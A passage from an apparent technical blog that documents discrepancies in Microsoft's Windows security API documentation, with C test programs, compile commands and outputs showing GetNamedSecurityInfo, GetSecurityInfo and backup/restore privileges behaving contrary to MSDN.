    	HANDLE	hBlunder = CreateFile(L"blunder.exe",
    		                      READ_CONTROL,
    		                      FILE_SHARE_NONE,
    		                      (SECURITY_ATTRIBUTES *) NULL,
    		                      OPEN_EXISTING,
    		                      FILE_FLAG_BACKUP_SEMANTICS,
    		                      (HANDLE) NULL);
    
    	if (hBlunder == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwError = GetSecurityInfo(hBlunder,
    		                          SE_FILE_OBJECT,
    		                          OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    		                          (SID **) NULL,
    		                          (SID **) NULL,
    		                          (ACL **) NULL,
    		                          (ACL **) NULL,
    #ifndef BLUNDER
    		                          (SECURITY_DESCRIPTOR **) NULL);
    #else
    		                          &lpSD);
    
    		if (dwError == ERROR_SUCCESS)
    			if (LocalFree(lpSD) != NULL)
    				dwError = GetLastError();
    #endif
    		if (!CloseHandle(hBlunder))
    			dwError = GetLastError();
    	}
    #endif // blunder
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c advapi32.lib kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87)
    Error message text: The parameter is incorrect.
    CertUtil: -error command completed successfully.
    OUCH²: contrary to the first highlighted statement of its documentation cited above, the Win32 function GetNamedSecurityInfo() fails with Win32 error code 87 alias ERROR_INVALID_PARAMETER if its ppSecurityDescriptor parameter is NULL!
  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro blunder defined:

    CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87)
    Error message text: The parameter is incorrect.
    CertUtil: -error command completed successfully.
    OUCH³: contrary to the first highlighted statement of its documentation cited above, the Win32 function GetSecurityInfo() also fails with Win32 error code 87 alias ERROR_INVALID_PARAMETER if its ppSecurityDescriptor parameter is NULL!
  6. Compile and link the source file blunder.c created in step 1. a third time, now with the preprocessor macros blunder and BLUNDER defined:

    CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  7. Execute the console application blunder.exe built in step 6. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
  8. Compile and link the source file blunder.c created in step 1. a last time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  9. Execute the console application blunder.exe built in step 8. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
  10. Finally replace the DACL of the console application blunder.exe built in step 8. with D:PAI(A;;0x1D01BF;;;OW), i.e. grant the image file's owner all access rights except READ_CONTROL, then execute it and evaluate its exit code:

    ICACLS.EXE blunder.exe /GRANT *S-1-3-4:(AD,DE,RA,RD,REA,S,WA,WD,WDAC,WEA,WO,X) /INHERITANCE:R /Q
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Successfully processed 1 files; Failed processing 0 files
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH⁴: contrary to the last highlighted statement of its documentation cited above, the Win32 function GetNamedSecurityInfo() fails with Win32 error code 5 alias ERROR_ACCESS_DENIED although the calling process is the object's owner here!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 29

The MSDN article Privilege Constants states:
Privileges determine the type of system operations that a user account can perform. An administrator assigns privileges to user and group accounts. Each user's privileges include those granted to the user and to the groups to which the user belongs.

[…]

Constant/value Description
SE_BACKUP_NAME
TEXT("SeBackupPrivilege")
Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. […] The following access rights are granted if this privilege is held:
  • READ_CONTROL
  • ACCESS_SYSTEM_SECURITY
  • FILE_GENERIC_READ
  • FILE_TRAVERSE
[…]
SE_RESTORE_NAME
TEXT("SeRestorePrivilege")
Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any valid user or group SID as the owner of a file. […] The following access rights are granted if this privilege is held:
  • WRITE_DAC
  • WRITE_OWNER
  • ACCESS_SYSTEM_SECURITY
  • FILE_GENERIC_WRITE
  • FILE_ADD_FILE
  • FILE_ADD_SUBDIRECTORY
  • DELETE
[…]
SE_SECURITY_NAME
TEXT("SeSecurityPrivilege")
Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a security operator. […]
The documentation cited above but fails to tell that the SeSecurityPrivilege alias SE_SECURITY_NAME privilege is required to exercise the ACCESS_SYSTEM_SECURITY access right, as documented in the MSDN article SACL Access Right – which in turn fails to tell that the SeBackupPrivilege alias SE_BACKUP_NAME and SeRestorePrivilege alias SE_RESTORE_NAME privileges allow it too:
The ACCESS_SYSTEM_SECURITY access right controls the ability to get or set the SACL in an object's security descriptor. The system grants this access right only if the SE_SECURITY_NAME privilege is enabled in the access token of the requesting thread.
The documentation for the Win32 function CreateFile() specifies:
Creates or opens a file or I/O device. […]
HANDLE CreateFile(
  [in]           LPCTSTR               lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);
[…]

[in] dwFlagsAndAttributes

The file or device attributes and flags, […]

Flag Meaning
FILE_FLAG_BACKUP_SEMANTICS
0x02000000
The file is being opened or created for a backup or restore operation. The system ensures that the calling process overrides file security checks when the process has SE_BACKUP_NAME and SE_RESTORE_NAME privileges. […]

[…]

To open a directory using CreateFile, specify the FILE_FLAG_BACKUP_SEMANTICS flag as part of dwFlagsAndAttributes. Appropriate security checks still apply when this flag is used without SE_BACKUP_NAME and SE_RESTORE_NAME privileges.

The documentation for the Win32 function SetSecurityInfo() states:
The SetSecurityInfo function sets specified security information in the security descriptor of a specified object. The caller identifies the object by a handle.

To set the SACL of an object, the caller must have the SE_SECURITY_NAME privilege enabled.

The documentation for the Win32 function SetNamedSecurityInfo() states:
The SetNamedSecurityInfo function sets specified security information in the security descriptor of a specified object. The caller identifies the object by name.
DWORD SetNamedSecurityInfo(
  [in]           LPTSTR               pObjectName,
  [in]           SE_OBJECT_TYPE       ObjectType,
  [in]           SECURITY_INFORMATION SecurityInfo,
  [in, optional] PSID                 psidOwner,
  [in, optional] PSID                 psidGroup,
  [in, optional] PACL                 pDacl,
  [in, optional] PACL                 pSacl
);
[…]

[in, optional] psidOwner

A pointer to a SID structure that identifies the owner of the object. If the caller does not have the SeRestorePrivilege constant (see Privilege Constants), this SID must be contained in the caller's token, and must have the SE_GROUP_OWNER permission enabled. The SecurityInfo parameter must include the OWNER_SECURITY_INFORMATION flag. To set the owner, the caller must have WRITE_OWNER access to the object or have the SE_TAKE_OWNERSHIP_NAME privilege enabled. If you are not setting the owner SID, this parameter can be NULL.

[in, optional] psidGroup

A pointer to a SID that identifies the primary group of the object. The SecurityInfo parameter must include the GROUP_SECURITY_INFORMATION flag. If you are not setting the primary group SID, this parameter can be NULL.

[in, optional] pDacl

A pointer to the new DACL for the object. The SecurityInfo parameter must include the DACL_SECURITY_INFORMATION flag. The caller must have WRITE_DAC access to the object or be the owner of the object. If you are not setting the DACL, this parameter can be NULL.

[in, optional] pSacl

A pointer to the new SACL for the object. The SecurityInfo parameter must include any of the following flags: SACL_SECURITY_INFORMATION, LABEL_SECURITY_INFORMATION, ATTRIBUTE_SECURITY_INFORMATION, SCOPE_SECURITY_INFORMATION, or BACKUP_SECURITY_INFORMATION.

If setting SACL_SECURITY_INFORMATION or SCOPE_SECURITY_INFORMATION, the caller must have the SE_SECURITY_NAME privilege enabled. If you are not setting the SACL, this parameter can be NULL.

Note: indicated by the first highlighted statement of this documentation, the Win32 function SetNamedSecurityInfo() should honor at least the SeRestorePrivilege alias SE_RESTORE_NAME privilege!

Falsification

Perform the following 19 simple steps to show the blunder and prove the highlighted statements of the documentation cited above conditionally wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <sddl.h>
    #include <aclapi.h>
    
    #define NO_ACCESS	0UL
    #define FILE_SHARE_NONE	0UL
    
    #define SE_BACKUP_PRIVILEGE	17UL	// "SeBackupPrivilege"
    
    const	TOKEN_PRIVILEGES	tpBackup = {ANYSIZE_ARRAY, {SE_BACKUP_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
    
    const	SID	group = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID};
    
    typedef	struct	_ace
    {
    	ACE_HEADER	Header;
    	ACCESS_MASK	Mask;
    	SID		Trustee;
    } ACE;
    
    const	struct	_acl
    {
    	ACL	acl;
    	ACE	ace;
    } dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
    	// (A;NP;;;;OW)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               NO_ACCESS,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}};
    
    const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
    				      0,
    				      SE_DACL_PRESENT | SE_DACL_PROTECTED,
    				      (SID *) NULL,
    				      &group,
    				      (ACL *) NULL,
    				      &dacl};
    
    const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	SECURITY_DESCRIPTOR	*lpSD;
    
    	LPWSTR	lpSDDL;
    	DWORD	dwSDDL;
    	DWORD	dwError;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    	HANDLE	hToken;
    	HANDLE	hProcess = GetCurrentProcess();
    	HANDLE	hBlunder = CreateFile(L"blunder.tmp",
    		                      NO_ACCESS,
    		                      FILE_SHARE_NONE,
    		                      &sa,
    		                      CREATE_NEW,
    		                      FILE_ATTRIBUTE_NORMAL,
    		                      (HANDLE) NULL);
    
    	if (hBlunder == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!CloseHandle(hBlunder))
    			dwError = GetLastError();
    
    		if (!OpenProcessToken(hProcess,
    		                      TOKEN_ADJUST_PRIVILEGES,
    		                      &hToken))
    			dwError = GetLastError();
    		else
    		{
    			AdjustTokenPrivileges(hToken,
    			                      FALSE,
    			                      &tpBackup,
    			                      0UL,
    			                      (TOKEN_PRIVILEGES *) NULL,
    			                      (DWORD *) NULL);
    
    			dwError = GetLastError();
    #ifndef blunder
    			if (dwError == ERROR_SUCCESS)
    			{
    				dwError = GetNamedSecurityInfo(L"blunder.tmp",
    				                               SE_FILE_OBJECT,
    #ifdef BLUNDER
    				                               SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION |
    #endif
    				                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
    				                               GROUP_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
    				                               (SID **) NULL,
    				                               (SID **) NULL,
    				                               (ACL **) NULL,
    				                               (ACL **) NULL,
    				                               &lpSD);
    				if (dwError == ERROR_SUCCESS)
    				{
    					if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
    					                                                         SDDL_REVISION_1,
    					                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    					                                                         &lpSDDL,
    					                                                         &dwSDDL))
    						dwError = GetLastError();
    					else
    					{
    						lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
    
    						if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
    							dwError = GetLastError();
    						else
    							if (dwError ^= dwSDDL)
    								dwError = ERROR_WRITE_FAULT;
    						//	else
    						//		dwError = ERROR_SUCCESS;
    
    						if (LocalFree(lpSDDL) != NULL)
    							dwError = GetLastError();
    					}
    
    					if (LocalFree(lpSD) != NULL)
    						dwError = GetLastError();
    				}
    			}
    #else // blunder
    			if (dwError == ERROR_SUCCESS)
    			{
    				hBlunder = CreateFile(L"blunder.tmp",
    				                      MAXIMUM_ALLOWED,
    				                      FILE_SHARE_NONE,
    				                      (SECURITY_ATTRIBUTES *) NULL,
    				                      OPEN_EXISTING,
    				                      FILE_FLAG_BACKUP_SEMANTICS,
    				                      (HANDLE) NULL);
    
    				if (hBlunder == INVALID_HANDLE_VALUE)
    					dwError = GetLastError();
    				else
    				{
    					dwError = GetSecurityInfo(hBlunder,
    					                          SE_FILE_OBJECT,
    #ifdef BLUNDER
    					                          SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION |
    #endif
    					                          DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
    					                          GROUP_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
    					                          (SID **) NULL,
    					                          (SID **) NULL,
    					                          (ACL **) NULL,
    					                          (ACL **) NULL,
    					                          &lpSD);
    
    					if (dwError == ERROR_SUCCESS)
    					{
    						if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
    						                                                         SDDL_REVISION_1,
    						                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    						                                                         &lpSDDL,
    						                                                         &dwSDDL))
    							dwError = GetLastError();
    						else
    						{
    							lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
    
    							if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
    								dwError = GetLastError();
    							else
    								if (dwError ^= dwSDDL)
    									dwError = ERROR_WRITE_FAULT;
    							//	else
    							//		dwError = ERROR_SUCCESS;
    
    							if (LocalFree(lpSDDL) != NULL)
    								dwError = GetLastError();
    						}
    
    						if (LocalFree(lpSD) != NULL)
    							dwError = GetLastError();
    					}
    				}
    
    				if (!CloseHandle(hBlunder))
    					dwError = GetLastError();
    			}
    #endif // blunder
    			if (!CloseHandle(hToken))
    				dwError = GetLastError();
    		}
    
    		if (!DeleteFile(L"blunder.tmp"))
    			dwError = GetLastError();
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c advapi32.lib kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(41) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(43) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(61) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  3. Create the text file blunder.exe.manifest with the following content next to the console application blunder.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2025, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
            <security>
                <requestedPrivileges>
                    <requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
                </requestedPrivileges>
            </security>
        </trustInfo>
    </assembly>
  4. Execute the console application blunder.exe built in step 2. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH¹: the Win32 function GetNamedSecurityInfo() fails to read the security descriptor with Win32 error code 5 alias ERROR_ACCESS_DENIED – contrary to the highlighted statements of the first documentation cited above, the SeBackupPrivilege alias SE_BACKUP_NAME privilege does not grant the explicitly named READ_CONTROL access right!
  5. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(41) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(43) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(61) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  6. Execute the console application blunder.exe built in step 5. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314)
    Error message text: A required privilege is not held by the client.
    CertUtil: -error command completed successfully.
    OUCH²: the Win32 function GetNamedSecurityInfo() fails to read the security descriptor with Win32 error code 1314 alias ERROR_PRIVILEGE_NOT_HELD – contrary to the highlighted statements of the first documentation cited above, the SeBackupPrivilege alias SE_BACKUP_NAME privilege also does not grant the explicitly named ACCESS_SYSTEM_SECURITY access right required to read (and write) the SACL!
  7. Compile and link the source file blunder.c created in step 1. a third time, now with the preprocessor macro blunder defined:

    CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(41) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(43) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(61) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  8. Execute the console application blunder.exe built in step 7. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    O:BAG:AUD:P(A;NP;;;;OW)
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    Note: the Win32 function GetSecurityInfo() succeeds and works properly – most obviously the GetNamedSecurityInfo() function opens files without the FILE_FLAG_BACKUP_SEMANTICS flag!
  9. Compile and link the source file blunder.c created in step 1. a last time, now with the preprocessor macros BLUNDER and blunder defined:

    CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(41) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(43) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(61) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  10. Execute the console application blunder.exe built in step 9. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    O:BAG:AUD:(A;NP;;;;OW)
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OUCH⁴: the Win32 function GetSecurityInfo() succeeds again, but fails to work properly – if the SACL is requested with the SACL_SECURITY_INFORMATION flag of its SecurityInfo parameter it drops the SE_DACL_PROTECTED flag of the security descriptor despite the also given PROTECTED_DACL_SECURITY_INFORMATION and PROTECTED_SACL_SECURITY_INFORMATION flags!

    CAVEAT: most obviously the Win32 functions GetNamedSecurityInfo() and GetSecurityInfo() have bugs!

  11. Overwrite the text file blunder.c created in step 1. with the following content:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <aclapi.h>
    
    #define NO_ACCESS	0UL
    #define FILE_SHARE_NONE	0UL
    
    #define SE_RESTORE_PRIVILEGE	18UL	// "SeRestorePrivilege"
    
    const	TOKEN_PRIVILEGES	tpRestore = {ANYSIZE_ARRAY, {SE_RESTORE_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
    
    const	SID	owner = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID};
    
    typedef	struct	_ace
    {
    	ACE_HEADER	Header;
    	ACCESS_MASK	Mask;
    	SID		Trustee;
    } ACE;
    
    const	struct	_acl
    {
    	ACL	acl;
    	ACE	ace;
    } dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
    	// (A;NP;;;;OW)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               NO_ACCESS,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}},
      sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
    	// (ML;NP;NRNWNX;;;HI)
              {{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_HIGH_RID}}};
    
    const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
    				      0,
    				      SE_DACL_PRESENT | SE_DACL_PROTECTED,
    				      (SID *) NULL,
    				      (SID *) NULL,
    				      (ACL *) NULL,
    				      &dacl};
    
    const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError;
    	HANDLE	hProcess = GetCurrentProcess();
    	HANDLE	hToken;
    	HANDLE	hBlunder = CreateFile(L"blunder.tmp",
    		                      NO_ACCESS,
    		                      FILE_SHARE_NONE,
    		                      &sa,
    		                      CREATE_NEW,
    		                      FILE_ATTRIBUTE_NORMAL,
    		                      (HANDLE) NULL);
    
    	if (hBlunder == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (!CloseHandle(hBlunder))
    			dwError = GetLastError();
    
    		if (!OpenProcessToken(hProcess,
    		                      TOKEN_ADJUST_PRIVILEGES,
    		                      &hToken))
    			dwError = GetLastError();
    		else
    		{
    			AdjustTokenPrivileges(hToken,
    			                      FALSE,
    			                      &tpRestore,
    			                      0UL,
    			                      (TOKEN_PRIVILEGES *) NULL,
    			                      (DWORD *) NULL);
    
    			dwError = GetLastError();
    #ifndef blunder
    			if (dwError == ERROR_SUCCESS)
    				dwError = SetNamedSecurityInfo(L"blunder.tmp",
    				                               SE_FILE_OBJECT,
    #ifdef BLUNDER
    				                               SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION |
    #endif
    				                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
    				                               LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
    				                               &owner,
    				                               (SID *) NULL,
    				                               (ACL *) NULL,
    #ifndef BLUNDER
    				                               (ACL *) NULL);
    #else
    				                               &sacl);
    #endif
    #else // blunder
    			if (dwError == ERROR_SUCCESS)
    			{
    				hBlunder = CreateFile(L"blunder.tmp",
    				                      MAXIMUM_ALLOWED,
    				                      FILE_SHARE_NONE,
    				                      (SECURITY_ATTRIBUTES *) NULL,
    				                      OPEN_EXISTING,
    				                      FILE_FLAG_BACKUP_SEMANTICS,
    				                      (HANDLE) NULL);
    
    				if (hBlunder == INVALID_HANDLE_VALUE)
    					dwError = GetLastError();
    				else
    				{
    					dwError = SetSecurityInfo(hBlunder,
    					                          SE_FILE_OBJECT,
    #ifdef BLUNDER
